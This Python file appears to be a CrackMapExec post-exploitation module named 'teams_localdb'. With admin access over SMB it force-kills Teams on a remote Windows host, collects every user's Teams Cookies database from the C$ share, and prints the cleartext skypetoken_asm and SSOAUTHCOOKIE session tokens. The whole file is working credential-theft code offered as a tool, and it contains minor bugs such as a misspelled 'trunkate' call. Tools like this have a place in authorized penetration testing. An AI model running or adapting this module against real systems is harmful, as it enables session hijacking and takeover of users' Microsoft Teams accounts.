#!/usr/bin/env python3 # -*- coding: utf-8 -*- import sqlite3 class CMEModule: name = "teams_localdb" description = "Retrieves the cleartext ssoauthcookie from the local Microsoft Teams database, if teams is open we kill all Teams process" supported_protocols = ["smb"] opsec_safe = True multiple_hosts = False def options(self, context, module_options): """ """ def on_admin_login(self, context, connection): context.log.display("Killing all Teams process to open the cookie file") connection.execute("taskkill /F /T /IM teams.exe") # sleep(3) found = 0 paths = connection.spider("C$", folder="Users", regex=["[a-zA-Z0-9]*"], depth=0) with open("/tmp/teams_cookies2.txt", "wb") as f: for path in paths: try: connection.conn.getFile("C$", path + "/AppData/Roaming/Microsoft/Teams/Cookies", f.write) context.log.highlight("Found Cookie file in path " + path) found = 1 self.parse_file(context, "skypetoken_asm") self.parse_file(context, "SSOAUTHCOOKIE") f.seek(0) f.trunkate() except Exception as e: if "STATUS_SHARING_VIOLATION" in str(e): context.log.debug(str(e)) context.log.highlight("Found Cookie file in path " + path) context.log.fail("Cannot retrieve file, most likely Teams is running which prevents us from retrieving the Cookies database") if found == 0: context.log.display("No cookie file found in Users folder") @staticmethod def parse_file(context, name): try: conn = sqlite3.connect("/tmp/teams_cookies2.txt") c = conn.cursor() c.execute("SELECT value FROM cookies WHERE name = '" + name + "'") row = c.fetchone() if row is None: context.log.fail("No " + name + " present in Microsoft Teams Cookies database") else: context.log.success("Succesfully extracted " + name + ": ") context.log.success(row[0]) conn.close() except Exception as e: context.log.fail(str(e))